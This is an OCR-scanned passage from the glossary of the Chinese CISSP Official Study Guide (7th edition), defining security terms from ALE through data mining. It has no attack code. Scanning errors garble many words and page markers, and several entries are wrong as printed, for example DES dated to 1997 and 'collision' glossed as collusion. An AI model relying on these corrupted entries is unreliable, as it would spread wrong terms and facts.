ALE 指的是针对某种特定的资产， 所有己发生的特定威胁实例每年可能造成的损失成本。 计算
ALE 的时候可 以使用 公式: ALE = 单一损失期望(SLE) * 年发生 比率(ARO)。
68丁
CISSP 官方学习指南(第 7 版)
Annual ized Rate of Occurrence : 年发生比率(ARO)
ARO 的是特定威胁或风险在一年内将会发生(也就是成为现实)的预计频率。 也称为可能性确定
applet
从服务器被送往客户端以执行某些动作的代码对象。 applet 是一些独立于发送它们的服务器执
行的自 包含小型程序。
AppleTalk
AppleTalk 协议是一套由苹果公司开发并使用于 Macintosh 系统网络上的协议， 最早版本于 1 984
年初发布 。 在 2009 年 ， Mac OS X 版本 VIO.6 发布后取消 了苹果操作系统对 AppleTalk 的支持。
appl ication layer: 应用层
开放式系统互联(OSI)的第 7 层 。
appl ication-Ievel gateway firewal l : 应用级网关防火墙
一种防火墙类型 ， 基于用于传送或接收数据的网络服务(也就是应用)来过滤通信数据。 应用级
网关被称为第二代防火墙 。
Appl ication Programming I nterfaces : 应用编程接 口 (API)
API 允许应用程序开发人员绕过传统的网页， 并通过函数调用直接与底层服务交互。 虽然提供
和使用 API 为服务提供商创造了 巨大 的机会 ， 但也带来了 一些安全风险。
ARP cache poisoning : ARP 缓存投毒
攻击者将虚假信息插入 ARP 缓存(被发现 的 IP 到 MAC 关系的本地存储器)中 的攻击。
assembly language : 汇编语言
替代机器语言代码的更高级语言。 汇编语言使用助记符表示 CPU 的基本指令集， 但是仍然要求
了 解硬件的相关知识 。
asset : 资产
指环境中应该加 以保护的任何事物 。 资产出现损失或泄漏会危及整体的安全性， 造成生产率的
损失、 利润的降低 、 额外支 出 的增加、 组织停 工 以及许多无形的后果。
asset valuation : 资产评估
682
根据实际的成本和非货币性支出而分配给资产的货币 价值， 其中包括开发、 维护、 管理、 广告、
支持、 维修和替换的成本， 还包括难以计算的价值， 如公众信心、 行业支持、 生产率增加、 知识成
本和所有者权益。
术语表
Asset Value : 资产价值(AV)
基于实际的成本和非货 币 性支 出而分配给资产的 货 币价值。
assurance : 保证
满足安全需求的置信度。 保证必须被持续地维持、 更新和重新验证。
asymmetric key : 非对称密钥
每个参与者都使用一对密钥(公钥和私钥)的公钥密码系统。 使用这对密钥中 的一个密钥进行加
密的消息只能通过同一密钥对中 的另 一个密钥进行解密 。
asynchronous dynamic password token : 异步动态密码令牌
令牌在用户输入 由令牌身份认证服务器提供的 PIN 时 ， 会生成一次性密码。 PIN 由服务器作为
挑战提供， 并且用户 输入由令牌创建的一次性密码作为响应。
Asynchronous Transfer Mode : 异步传输模式(ATM)
一种信元交换技术， 而不是像帧中继这样的数据包交换技术。 ATM 利用与帧中继十分类似的
虚电路， 但是由于它使用 固定大小的帧或信元， 因此可以保证吞吐率 。 这使得 ATM 成为适用于语
音和视频会议的优秀 WAN 技术。
atomicity : 原子性
所有数据库事务处理的 4 个必备特征之一。 数据库事务处理必须是 " 要么 全有 ， 要么全无 " 的
事务。 如果事务处理的任何部分失败， 那么整个事务处理都会被回滚， 就像什么也没发生一样。
attack : 攻击
具有威胁的主体对某些脆弱性的利用 。
Attacker : 攻击者
任何企图对系统实施恶意行为的人。
attenuation : 衰减
由 于线缆具有一定长度 ， 因 此信号的强度和完整性在线缆上会有损失。
attribute : 属性
关系型数据库表中 的一列 。
Attribute-Based Access Control : 基于属性的访问控制模型(ABAC)
许多软件定义的 网络应用程序使用 ABAC 模型。
683
CISSP 官方学 习指南(第 7 版)
audit: 审计
对环境的系统检查或审查， 以确保遵守法规 ， 并检测异常、 未授权的事件或直接犯罪。
audit trai l : 审计跟踪
通过将发生的事件和情况的有关信息记录到数据库或日 志文件中而生成的记录。 审计跟踪被用
于重新构建事件， 抽取事故的相关信息 ， 证明或驳斥失职行为等。
auditor : 审计人员
负 责测试和验证安全策略是否被正确实现 、 总结出 的 安全解决方案是否适当 的 人或小组。
authentication : 身份认证
用 于验证或检查主体所声 明身份合法性的 过程 。
Authentication Header: 身份认证首部(AH)
提供了 身份认证、 完整性和不可否认性的一种 IPSec 协议。
authenticated scan : 验证的扫描
安全扫描器被授予认证权限， 对正在扫描的服务器(通常通过用户 账户 )进行只读访问， 并且可
以使用该访问从目 标系统读取配置信息 ， 并在分析漏洞测试结果时使用该信息。
authentication protocols : 身份认证协议
为登录凭证提供传输机制 而使用 的协议。
Authentication Service : 身份认证服务(AS)
Kerberos 密钥分发中 心(KDC)的 要素之一 。 AS 验证或拒绝票据的可靠性和时间性。
authorization : 授权
用于确保所请求的活动或客体访问能够被授予为经过身份认证的身份(也就是主体)分配的权力
和特权。
684
Automatic Private IP Addressing : 自 动私有 I P 地址寻址(APIPA)
Windows 的一个特征， 一旦 DHCP 分配失败， APIP 就会为系统指派 IP 地址。
auxilia叩 alarm system : 辅助警报系统
一种可以加入本地或集中式警报系统的额外功能。 辅助警报系统的 目 的是在警报触发后通知当
地警察或消防队。
availabil ity : 可用性
确保经过授权的主体被及时准许和不被打断地访 问客体。
术 i吾 表
awareness : 意识
安全教育的一种形式， 是开展培训 的先决条件 。 安全意识的 目 的是要把安全放到首位并让学员/
用户认识到这一点。
B
backdoor 或 back door: 后门
后 门是没有被记录到文挡的命令序列， 允许软件开发人员绕过正常的访问 限制 。 后 门可 以由制
造商放置和 留下， 或者 由 黑客使用漏洞来放置。
badges : 员工证
物理身份标识和/或 电子访 问控制设备的形式。
bandwidth on demand : 按需带宽
服务提供商提供的功能/优点是: 如果运营商网络具有容量， 允许客户在需要时消费更多带宽。
这种消耗通常 以更高速率收费。
base+offset addressing : 基址+偏移量寻址
一种寻址机制， 它使用存储在其中一个 CPU 寄存器中的数值作为开始计算的基址。 然后， CPU
将指令提供的偏移量与基址相加 ， 并从计算得到 的存储器地址中取出操作数。
baseband : 基带
一次只 能传输一个单独信号的通信介质 。
baseline : 基线
安全性的最小级别 ， 组织中 的所有系统都必须达到这个安全级别。 基线可以大于安全基线， 也
可 以是性能基线(用于基于行为的 IDS)或配置基线(用于配置管理) 。
Basic InputJOutput System : 基本输入/输出系统(BIOS)
独立于操作系统的原始指令 ， 用 于启 动计算机和从磁盘加载操作系统。
Basic Rate 1 nterface : 基本速率接口 (BRI)
提供 了 2个B 通道(或数据通道)和 1 个 D 通道(或管理通道)的 ISDN 服务类型。 每个 B 通道都
提供 64Kbps 的速率 ， D 通道则提供 了 1 6Kbps 的速率。
beacon frame: 1言标帧
一种无线网 络报文类型 ， 用 于通过宣告网络 SSID 或网络名称来广播无线网络的存在 。
685
CISSP 官方学 习指南(第 7 版)
behavior : 行为
在面向对象编程术语和技术中， 使用某种方法处理消息后来 自 客体的结果或输 出 。
behavior-based detection : 基于行为的检测
IDS 使用 的一种入侵发现机制。 基于行为的检测通过观察和研究找出系统中正常的行为和事件。
一旦积累 了有关正常行为的足够数据 ， 那么它就可以检测到异常的和可能含有恶意的行为和事件。
也被称为统计入侵检测 、 异常检测或启 发型检测 。
Bell-LaPadula 模型
一种基于状态机模型 、 关注机密性的安全模型， 来用强制性访 问 控制 和格子模型。
best evidence rule : 最佳证据规则
该规则声明 ， 当文档被用作法庭处理的证据时， 必须提供原始文档。 除了规则所应用的某些例
外 ， 副本不会被接受为证据 。
Biba 模型
一种基于状态机模型 、 关注完整性的安全模型， 采用强制性访 问控制和格子模型。
二进制数学
计算机使用 的位和字节的计算规则 ， 也称为布尔运算。
bind variable : 绑定变量
用 于 SQL 宇面值的 占位符， 例如数字或字符串 。
biometric factors : 生物识别因 素
可用于识别或认证任何人的特征。 生理生物识别方法包括指纹、 面部扫描、 视网膜扫描、 虹膜
扫描、 手掌扫描、 手部外形和声音模式。 行 为生物识别方法包括签字力度和击键模式。
biometrics: 生物测定学
686
将人类的生理或行为特征用 作逻辑访 问 的身 份认证因素和物理访 问 的身份标识。
birthday attack : 生日攻击
在这种攻击中 ， 怀有恶意的人在数字化签名 的通信中寻找可以生成相同信息摘要的不同信息作
为替代， 从而维持原有数字签名的有效性。 在不规则的统计基础上， 如果一个房间中有 23 个人， 那
么 存在两人或更多生 日相同的人的概率大于 50%。
bit flipping : f立翻转
将位改为相反值的活动 。 通常用于模糊化 以轻微修改输入数据的技术。
术语表
bit size : 位大小
值中的二进制数字或位的数量 ， 例如键、 块大小或晗希值。
black-box testing : 黑箱测试
查看程序输入和输出 的一种程序测试形式， 但是不关心 内 部 的逻辑结构。
black box : 黑盒
用 于操纵线路电压 以窃取长途服务。
blackout : 电力中 断
电力 的完全丧失。
block cipher: 分组密码
同 时对整个信息分组应用加密算法的密码。 换位密码就是分组密码的一个例子。
Blowfish
对 64 位文本分组进行操作的分组密码， 并且使用变长密钥， 密钥长度的范围从相 当不安全的
32 位到相当 难破解的 448 位 。
blue box : 蓝盒
用 于模拟与 电话网络主干(也就是骨干)系统直接互动的 2600Hz 声 音 。
blue bugging : 蓝牙窃听
一种攻击， 允许黑客远程控制蓝牙设备的特性和功能。 这可能包括打开麦克风的能力， 使用 手
机作为音频监控。
bluejacking : 蓝牙劫持
劫持蓝牙连接 ， 以便进行偷听或者可以从设备中抽取信息。
bluesnarfing : 蓝牙侵吞
一种攻击， 能够允许黑客在你不知情的情况下配对你的蓝牙设备， 并且可以从这些设备中提取
信息。 这种攻击形式能够使攻击者访 问你的联系人列表、 数据甚至通话。
蓝牙 802. 1 5
通常用 于将配件和蜂窝 电话或计算机配对的一种无线标准。
boot sector: 引 导扇区
被用 于加载操作系统 以及攻击加载过程的病毒类型 的存储设备部分。
687
CISSP 官方学 习指南(第 7 版)
bot : 代理
连续漫游于多个网站并代表用户 执行操作 的智能代理。
botmaster : 僵尸网络控制器
控制僵尸 网络的黑客， 也称为僵尸牧人。
botnet: 僵尸 网络
在被称为僵尸 网 络控制器的攻击者控制下 的互联网上计算机(有时是数千甚至数百万 台 ! )
的集合。
bounds : 界限
对进程可 以访 问的内存和 资源所做的限制 。
breach : 破坏
破坏是指发生安全机制被威胁主体绕过或阻挠的事情 。
Brewer and Nash 模型(也叫作 Chinese Wall)
设计这种模型的 目 的是准许访问控制基于用户 以前的活动动态改变(这也使其成为一种状态机
模型)。
bridge : 桥
连接速度、 线缆类型或拓扑结构不同但是采用协议仍然相同 的网络所使用 的网络设备。 桥是第
2 层设备。
bridge mode : 桥接模式
无线接入点部署的一种形式， 用于通过无线桥接将两个有线网络连接在一起。
自 带设备(BYOD)
允许员 工携带自 己的个人移动设备并使用这些设备连接(或通过)公司网络的一项策略。 虽然设
备是员工自 有 的财产 ， 但存储在设备上的组织数据仍然是组织的资产 。
broadband : 宽带
支持同时传输多个通信信号的通信介质 。
broadcast : 广播
向 多个未经标识的接收者进行通信传输的一种形式。
688
术语表
broadcast address : 广播地址
指定网络分组或容器内 所有接收数据的设备 的地址。
broadcast domain : 广播域
一组网络系统， 当该组中 的一个成员发送一个广播包时 ， 该组的其他成员接收到该广播包。
broadcast technology : 广播技术
基于或依赖于广播而不是单播信令的通信系统。
brouter : 桥式路由器
首先尝试路由 ， 如果路由失败， 就默认进行桥接的 网络设备。
brownout : 降低电压
延长的低 电压时间段。
brute force : 暴力破解
这种攻击模式的特征是 自 动尝试使用机械性的顺序或组合输入来确定指定系统的安全属性(通
常为密码头
brute-force attack : 暴力破解攻击
为 了发现己知身份(也就是用户 名)的密码而针对系统发起的攻击。 为了找到某个账户 的密码，
暴力破解攻击会使用所有可能的 字符组合进行系统化的测试。
buffer overflow: 缓冲区溢出
这种脆弱性会导致系统崩溃， 或者允许用户运行 shell 命令并获得对系统的访问权限。 缓冲区溢
出脆弱性在使用 CGI 或其他语言快速开发的 Web 代码中尤为普遍，快速代码开发允许没有经验的程
序设计人员快速生成交互式的网 页 。
business attack : 商业攻击
专 门非法获取组织机密信息的攻击。
Business Continuity Planning : 业务连续性计划(BCP)
涉及对各种组织过程的风险评估， 还有在发生这些风险时， 为了 让它们对组织的影响降到最小
程度而建立的各种策略、 计划和措施 。
Business Impact Assessment: 业务影响评估(BIA)
确定能够决定组织持续发展的资源， 以及对这些资源的威胁， 并且还评估每种威胁实际出现的
可能性 以及出现 的威胁对业务的影响 ， 也被称为业务影响分析(BIA)。
689
CISSP 官方学习指南(第 7 版)
C
高速缓存 RAM
将数据从速度较慢的设备中取出并暂时存储在高性能设备中的过程， 以便在希望的时候可以重
复使用 。
凯撒密码
Julius Caesar 将字母表中 的每个字母都替换为其后的第三个字母。
Campus Area Network : 园区网(CAN)
跨越学院、 大学或复杂 的 多建筑物办公环境的网络。
candidate key : 候选键
用于唯一标识表中 任何记录的属性 、 列和域的子集。
capabil ity list : 功能列表
访问控制表的每一行就是功能列表。 功能列表与主体相关， 其中列出了可以在每个客体上进行
的操作 。
captive po归1 : 强制门户
一种认证技术， 它将新连接的无线 Web 客户端重定向到强制门户访问控制页面。 这个门户页面
可能需要用户输入付款信息 、 提供登录凭据或输入访问代码。
cardinality : 基数
关系数据库 中 行的数量。
Counter Mode with Cipher Block Chaining Message Authentication Code Protocol : 计数器模
式密码块链接消息认证码协议(CCMP)
设计用 于替代 WEP 和 T阻P/WPA， 使用 128 位密钥 的 AES(高级加密标准)作为密文流。
cell suppression : 单元抑制
对数据库 内 部单独的数据项进行抑制(或 隐藏)的操作 ， 以便阻止聚合或推理攻击。
centralized access control : 集中式访问控制
一种控制方法， 所有授权验证都 由 系统中的一个单独实体来执行 。
central ized alarm system : 集中式警报系统
一种警报系统， 在 警报被触发时会通过信号通知远程或集中 式监控站 。
69.0
术语表
certificate : 证书
被认可的个人公钥的副本， 用 于验证他们的身份。
Certificate Authority : 证书授权机构(CA)
一个认证和分发数字证书的机构 。
Certificate Path Validation : 证书路径验证(CPV)
从原始起点或可信根源至相关服务器或客户端的证书路径中的每个证书都应当考虑其是否有效
与合法。
Certificate Revocation List: 证书撤消列表(CRL)
由 证书授权机构在证书到期之前撤消 的证书列表。
certification : 认证
用 于支持鉴定过程， 对 町 系统和其他安全措施的技术和非技术安全性特点进行全面评估， 以便
确 定具体设计和实现满足一系列指定安全性需求的程度。
chain of evidence : 证据链
在法庭上唯一标识客体的 过程 ， 也被称为监管链。
Challenge Handshake Authentication Protocol : 挑战握手验证协议(CHAP)
用 在 PPP 链接上的一种身份认证协议。 CHAP 对用户 名 和密码进行加密。
change management: 变更管理
为 了确保任何变更都不会降低或危及安全性而用 于记录和监控环境变化的手段 。
Channel Service UniUData Service Unit : 信道服务单元/数据服务单元(CSU/DSU)
将 LAN 信 号转换为 WAN 网络所使用格式的边界连接设备 ， 反之亦然。
checkl ist test: 清单测试
向 灾难恢复团队的成员 分发灾难恢复清单的副本， 供他们审查的过程 。
Children's Online Privacy Protection Act: 儿童联机隐私保护法案(COPPA)
美 国对面向孩子或有意收集孩子信息的网站提 出 明确要求的法律。
chosen cipher-text aUack : 选定密文攻击
在这种攻击 中 ， 攻击者具有解密所选定的 部分密文消息的能力 。
691
CISSP 官方学习指南(第 7 版)
chosen plai n-text attack : 选定明文攻击
在这种攻击中， 攻击者具有加密他们所选定的明文消 息的能力， 然后对加密算法的密文输出结
果进行分析。
CIA: 三元组
三条主要安全原则 的名字， 这三条安全原则是: 机密性、 完整性和可用性。
cipher : 密码
隐藏消息真正含义的系统。 密码使用不同 的技术修改并且/或者重新排列消息中的字母或词语，
从而获得机密性。
Cipher Block Chaining : 密码分组链接(CBC)
未加密文本的每个分组在使用 DES 算法加密之前都与正好在其前面的密文分组进行异或操作
的一种过程。
Cipher Feedback : 密码回馈(CFB)
在这种模式中 ， DES 算法被用于加密之前的密文分组。 这个分组随后与 下一个明文分组异或，
从而生成下一个密文分组。
cipher text : 密文
己加密的用于传输的消息 。
circuit-Ievel gateway firewall : 电路级网关防火墙
用 于在可信合作伙伴之间建立通信会话的防火墙 。 它在 OSI 模型的会话层(第 5 层)上工作 。
civil laws : 民法
民法形成了美国法律体系的大部分。 它们被设计用于维护有秩序的社会， 并且管理不属于犯罪
行为但需要一位公正的仲裁人来解决个人之间和组织之间存在争议的问题。
692
Clark-Wilson 模型
采用有限接 口或程序控制和维护客体完整性的一种模型。
class : 类
在面向对象编程术语和技术中 ， 一组对象中定义对象行为的常用方法的集合就是类。
classification : 分类
应用于某资源的标签， 从而指示其对于组织的敏感度或价值， 因此指定了 保护该资源的必要安
全级别 。
术语表
classification level : 分类级别
安全标签的 另一种术语表示。 客体和主体被分配的重要性或价值。
clean power: 平稳的 电力供应
没有波动的纯电力 。
clearing : 清除
为了介质能在同等的安全环境中被重复使用而彻底删除介质上保存的所有数据的一种方法， 也
被称为覆盖 。
click-wrap license agreement : 单击包装许可证协议
一种软件协议， 其中的合同条款或者写在软件包装盒外， 或者包括在软件文档中。 在安装过程
中 ， 你会被要求单击一个按钮 ， 表示你 已经阅读了 协议条款， 并且同意遵守这些条款。
cl ipping level : 闻值级别
违规分析审计中使用 的阔值。超过阑值级别就刽!虫发将相关事件数据记录到审计 日 志中 的操作。
Closed-Circuit TeleVision : 闭路电视(CCTV)
一种使用 了视频摄像机和视频记录设备的安全系统。
cloud computing : 云计算
一个计算的概念 ， 即 处理和存储是通过网络连接而非本地进行。
clustering : 群集(也被称为密钥群集)
密码学中 的一个缺点， 此时使用相同的算法但密钥不同 ， 明文消息会生成完全相同 的密文消息。
coaxial cable 或 coax : 同轴电缆
同轴电缆的中心是一根铜钱， 外面包着一层绝缘物质 ， 再往外是一层导 电的编织屏敲物， 并且
由最外面的绝缘外皮包裹着。 同轴 电缆能够抵抗电磁干扰(El\旬， 拥有较低的价格并且容易 安装。
code : 编码
代表词或短语， 并且有时是秘密符号的密码系统， 但它们不一定意味着提供机密性。
code reposito叩 : 代码仓库
软件开发需要共同努力， 大型软件项 目 需要开发团队可以同时承担代码不同部分的工作。 代码
仓库是开发人员放置源代码的中心存储点 。
cognitive password : 感知密码
密码身份认证因素的一个变体， 它会询问 一系列的 问题， 这些问题的事实或预定义的响应应该
693
CISSP 官方学习指南(第 7 版)
只 有主体才知道。
cohesive 或 cohesiveness: 内聚或内聚性
如果某个对象能够在不需要或只需要少量来 自 其他对象的帮助的情况下完成任务， 那么这个对
象就高度内聚。 高度内聚的对象不像较少内聚的对象那样依赖其他对象。 高度内聚的对象往往更好。
内 聚程度很高 的对象能够独 自 完成任务 ， 并且具有低藕合。
cold sites : 冷站点
备用设施有足够大的地方处理组织的运营工作 ， 并带有适当的 电子和环境支持系统。
coll ision : 共谋
许多人之间实施未授权或违法行为的约定。
coll ision domain : 冲突域
冲突域是一个互联系统组， 如果组内 的任何两个(或多个)系统 同时进行传输 ， 那么就会发生
冲突。
col umnar transposition : 换位密码
换位密码使用某种加密算法重新排列 明 文消息中的字母 ， 从而形成密 文消息。
commercial busi ness/private sector classification : 商业企业/私营部门分类
安全标签通常用在公司使用 的安全系统中 。 常见的公司或商业安全标签包括秘密、 专用 、 隐私、
敏感和公开。
Committed Information Rate : 待发信息速率(CIR)
对一条虚 电路按合同 的最小带宽给予保证。
Common Access Card : 通用访问卡(CAC)
美国政府内部人员使用 的一种卡， 里面包含了所有者的照片和其他识别信息。 它可以用作徽章
和智能卡。
694
Common Body of Knowledge : 通用 知识体系(CBK)
由(ISC)2 规定的知识领域， 作 为 CISSP 考试的知识源。
common mode noise : 普通模式噪声
由 电源或运转的 电子设备的火线和地线之间 的 电势差产生的 电磁干扰噪声 。
Common 0同ect Request Broker Architecture : 公共对象请求代理体系结构(CORBA)
一个针对分布式计算的 国际标准。 CORBA 支持在计算机上的代码操作能够定位网络中其他位
置的资源。
术语表
community cloud : 社区云
社区云部署模型， 为两个或多个组织提供云基础资产。 维护责任根据对资产和服务模型的管理
来分配。
companion virus : 同伴病毒
文件感染病毒的一种变体。 同伴病毒是 自包含的可执行文件， 它利用与合法的操作系统文件类
似但又稍有不同 的文件名来躲避检查。
compa时mented security mode : 分隔安全模式
系统处理两种或更多种类型的分隔信息的安全模式。 所有系统用户 只有具有恰当的许可才能访
问 由系统处理的所有信息 ， 但是他们不必知道系统中 的所有信息 。
compensation access control : 补偿访问控制
这种访问控制类型为其他 己有的控制提供有助于实施和支持安全策略的各种选项。
competent : 法定资格
证据的一种特性要求证据必须具有法定资格， 这意味着必须合法获得证据。 由于不具备法定资
格 ， 因 此非法搜查所获得的证据是不被认可的 。
compiled language : 编译语言
在分发或执行前被转换为机器语言 的一种计算机语言。
compiler : 编译器
编程人员可以使用 将高级语言转换为在特定操作系统中使用 的 可执行文件的编程工具 。
compliance testing : 合规性测试
另一种常见的审计应用 。 验证系统是否遵守法律、 规章制度、 基准、 指导原则、 标准和策略，
它是维护任何环境安全性的一个重要部分。
Component 0同ect Model : 组件对象模型(COM)
它是 Microsoft 的标准， 被用于进程内 的组件或者在同一系统上运行的多个进程之间的组件。
compromise : 破坏
如果系统安全被攻破 ， 那么系统就被认为受到破坏。
com puter architecture : 计算机体系结构
从逻辑层次考虑的计算系统构造的工程学原理。
695
CISSP 官方学 习指南(第 7 版)
computer crime : 计算机犯罪
任何利用计算机或针对计算机的 犯罪行为。
Computer Fraud and Abuse Act : 计算机诈骗和滥用 法案
一项美国法律， 专 门 用于跨越州边界的计算机犯罪， 避免违反州 的权力 。
Computer Security Act of 1 987 : 1 987 年的计算机安全法案(CSA)
一项美国 法律 ， 对所有联邦机构的强制安全要求基准 。
computer security incident: 计算机安全事件
组织内安全策略或实践的违反， 或迫在眉睫的威胁的违反。 计算机安全事件是攻击、 恶意软件
感染或员 工 不当使用 的结果。
conclusive evidence : 结论性证据
优先于其他证据形式的无可辩驳的证据。
concurrency : 井发性
这种安全机制试图使数据库中存储的数据始终是正确的或者至少其完整性和可用性受到保护。
并发性使用 " 锁定 " 功能允许己授权用户更改数据， 只有在完成所有更改后才能 " 解锁 " 数据元素。
confidential : 机密的
一种政府/军方用于具有机密特性的数据分类。 未经授权而泄露机密数据将会导致重大后果， 并
导致对国家安全的严重破坏。 这个分类级别用于处在 "秘密 " 级别和 " 敏感但未分类" 级别之间的
所有数据 。
confidentiality : 机密性
确保信息不会未经授权而泄露， 并且定义的保密级别在整个主体-客体交互过程中 都会得到
保持。
configuration management: 配置管理
随时间推移与安全控制和安全机制相关的 日 志记录、 审计和监控活动。 这些数据被用于标识变
化的主动者 ， 无论其是客体、 主体、 程序还是通信路径 ， 甚至是网络本 身 。
confinement 或 confinement property : 限制或限制属性
允许一个进程 只 能 从确定的内 存地址和 资源中读取和 写 入数 据 的原则， 也 可 以被称为
Bell-LaPadula 模型的*(星)安全属性 。
confusion : ;昆淆
出现在明文和密钥的关系十分复杂的时候， 黑客不能继续通过修改明 文和分析产生的密文来确
696
术语表
定密钥 。
consistency : 一致性
所有数据库事务处理的 4 个必备特征之一(其他 3 个特征是原子性、 隔离性和持久性)。 所有事
务处理都必须在与数据库所有规则一致的环境中 开始操作 。
contamination : 污染
具有不 同分类级别和/或 " 知其所需 " 要求的数据相混合的结果 。
content-dependent access control : 内容相关的访问控制
基于客体内 容或有效负载的访 问 控制形式。
Content同Distribution Networks 或 Content Del ivery Networks: 内容分发网络或内容转发网络
(CDN)
资源服务的集合， 被部署在互联网的许多数据中心以提供低延迟、 高性能、 高可用性和承载的
内容。 CDN 通过分布式数据主机提供客户所需的多媒体性能质量 。
context-dependent access control : 内容相关的访问控制
基于客体内 容或有效负载的访问控制形式。
continuity : 连续性
企业可以达到 的 目标， 通过制定计划和程序帮助减轻灾又制才其连续性操作的影响 ， 并且加快恢
复到正常运营的速度。
contractual license agreement: 合同许可证协议
在软件商和用户之间概述双方责任的书面合同 。
control : 控制
使用访问规则 或措施来限制主体对客体 的访问。
Control Objectives for Information and Related Technology : 信息及相关技术控制 目 标
(COBIT)
是一种安全概念基础架构， 用 于组织公 司 的复杂 安全解决方案。
controls gap : 控制差距
风险总计和剩余风险之间 的差值。
converged protocols : 汇聚协议
专业或专有协议和标准协议的融合， 例如 TCPIIP 协议。一些汇聚协议常见的例子: FCoE、MPLS、
iSCSI 手口 VoIP。
697
CISSP 官方学 习指南(第 7 版)
Copper Distributed Data Interface : 铜线分布式数据接口 (CDDI)
使用双绞线(也就是铜钱)部署的 FDDI 。 它将最大的跨度减少至 1 00 米， 并且容易遭到干扰。
copyright : 版权
保护创作者的 " 原创作品 " 不遭受未经授权的复制 的法律。
corrective access control : 纠正性访问控制
为 了在不必要的或未授权的操作发生后将系统还原到正常状态而部署的访问控制 。 例如， 纠 正
性访 问控制包括警报 、 陷 阱和安全策略等。
corrective controls : 纠正式控制
使用指导说明 、 规程或指导原则改变不希望的行为(如攻击或错误)的影响 。
countermeasures : 对策
针对攻击修补漏洞或保护系统的动作。 对策可能包括改变访问控制 、 重新配置安全设置、 安装
新 的安全设备或机制 、 增 加或删除服务等。
coupling : 辑合
祸合是对象之间的交互级别。 低祸合意味着较少的交互。 因为对象更为独立， 所 以低相合提供
了 更优的软件设计。 低相合更易于检测故障和更新。 内 聚程度较低的对象需要大量来自 其他对象的
帮助才能完成任务 ， 并且具有高棉合。
698
covert channel : 隐蔽通道
数据可 以不按照常规的 、 期望的或可检测的 方法进行传输的一种手段。
covert storage channel : 存储隐蔽通道
通过将数据写入一个其他进程可 以读到的公共存储 区域来传递信息 的通道。
cove时 timing channel : 时间隐蔽通道
以一种可预测的方式， 通过改变系统组件的性能或更改资源的时间安排来传递信息的一种通道。
cracker : 破坏者
企图对个人或系统发动攻击的恶意用户。 破坏者可能受贪婪、 权力或成名 因素的驱使。 他们的
行为可能导致财产(数据、 计划等)被盗、 系统被关闭、 安全性受到破坏、 负面的公众意见、 市场 占
有份额下降 、 收益率降低和丧失生产率 。
credential management system : 证书管理系统
当单点登录(SSO)不可用时， 为用户提供存储空间 以保留其凭据的解决方案。 用户可为需要一套
不同凭证的网站和网络资源存储凭证。 该管理系统确保这些凭证己加密， 从而防止未经授权的访问。
术语表
creeping privilege(s) : 蠕变的特权
用户账户经过一段时间积累 的特权， 在这段时间内， 用 户 的作业角色以及被指派的工作任务不
断发生变化。
criminal law: 刑法
警察和其他执法机构执行的法律主体。 刑法包含针对某些行为的禁令， 如谋杀、 伤害、 抢劫 、
纵火和类似的犯罪。
critical path analysis : 关键路径分析
一种系统工作， 可 以确定关键任务应用、 过程和操作 以及所有必要的支持要素之间的关系。
criticality prioritization : 关键性优先顺序
BCP/DRP 创建期间关键 资产和过程的优先顺序 。
Cross-Site Request Forgery : 跨站请求伪造(CSRF)
利用受信用户 通过用户浏览器对易受攻击的服务器执行命令的一种 Web 攻击， 也被称为 XSRF。
Cross-Site Scripting : 跨站脚本(XSS)
当 网站包含某种类型的反射式输入时， 存在的一种 Web 应用程序攻击形式。经常利用脚本注入。
Crossover Error Rate : 错误率交叉点(CER)
在这一点上， 误接受率σ'AR)等于误拒绝率σRR)。 为 了 比较不同生物测定设备的性能， 从这一
点开始测量性能。
C叩ptanalysis : 密码分析
破解编码和密码的研究方法。
cryptographic key : 密码学密钥
密码学密钥为用 于加密和解密的密码学算法提供 " 安全 " 部分。
cryptography : 密码学
应用于数据 的算法， 用 于确保机密性 、 完整性、 身份认证和/或不可否认性。
C叩ptology : 密码学
密码术与密码分析学一起被称为密码学。
C叩ptosystem : 密码系统
通信双方使用共享密钥或公钥和私钥对的系统， 用 于帮助提供通信 的安全保护 。
699
CISSP 官方学 习指南(第 7 版)
C叩ptovariable : 密码变量
用 于执行加密和解密操作 的密钥的另一个名字 。
custodian : 监管者
被分配或委派要对客体进行 日 常的分类和标记工作， 并且负责适当 的存储和保护工作的人。 监
管者常常就是 IT 人 员或系统安全管理 员 。
cyber-physical : 物联网
指提供一种计算设备来控制物理世界中事物的术语。 在过去， 这些可能被称为嵌入式系统， 但
物联网 的类别似乎更侧重于物理世界的结果 ， 而不是计算方面。 参见物联网(IoT)。
Cycl ic Redundancy Check : 循环冗余校验(CRC)
与 晗希总数类似的一个数值 ， 它指出信息 是否在传输过程中 己被修改或破坏。
D
darknet : 黑暗网络
未使用 的网络空间部分 ， 用 于监视基于网 络的攻击和流量。
data analytics : 数据分析
对原始数据进行检查的科学， 检查重点是从大量的信息中提取有用 的信息。 数据分析的结果可
以集中在重要的异常值， 或正常之外的例外或标准项 ， 或所有数据项的总结， 或一些集中的提取和
有兴趣信息的组织。
700
Data Circuit-terminating Equipment : 数据链路终端设备(DCE)
一种网络连接设备， 在帧中继上执行实际的数据传输， 以及为用户 建立和维护虚 电路。
data classification : 数据分类
按标签组织数据 ， 以便应用安全控制和访问 限制 。
data controller : 数据处理者
在欧盟数据保护法条文 中将数据处理者定义为控制数据过程的人或实体。
data custodian : 数据监管者
被指派实施安全策略和上层管理部门所规定保护任务的用户 。数据监管者执行所有必要的措施，
从而为数据提供适当 的保护 ， 并完成上层管理部 门 委派的要求和责任。
术语表
Data Definition Language : 数据定义语言(DDL)
允许创建和更改数据库结构(也被称为模式)的数据库编程语言 。
data dictionary : 数据字典
数据元素及其关系的集中存放处 。 存储与数据用法 、 关系 、 源和格式相关的关键信息。
data diddling : 数据欺骗
对数据进行小改动的行为 ， 通常意 图 是恶意的。
Data Encryption Standard : 数据加密标准(DES)
1997 年对所有政府通信提出 的标准密码系统。 尽管它在 200 1 年被高级加密标准(皿)所代替 ，
但是很多政府机构今天仍继续在密码学应用 中 使用 DESo
data extraction : 数据抽取
为 了构建有意义的表示法或整体数据的概述 ， 从大量的数据中抽取要素的过程 。
datagram : 数据报
传输层 UDP 报头和有效载荷的组合。
data hiding : 数据隐藏
避免让主体知道数据存在的过程。
Data Link Layer: 数据链路层
OSI 模型的第 2 层。
Data Loss Prevention : 数据丢失防护(DLP)
系统能够检测和阻止数据泄露的企图 。
Data Manipulation Language : 数据操纵语言(DML)
允许用户与模式 内 包含的数据交互的数据库编程语言 。
data ma叫: 数据集市
用 于保护元数据安全的存储设施。
data mining : 数据挖掘
准许分析人员对数据仓库进行搜索 ， 从而寻找历史数据中潜在的相关信息的技术。
data owner: 数据所有者
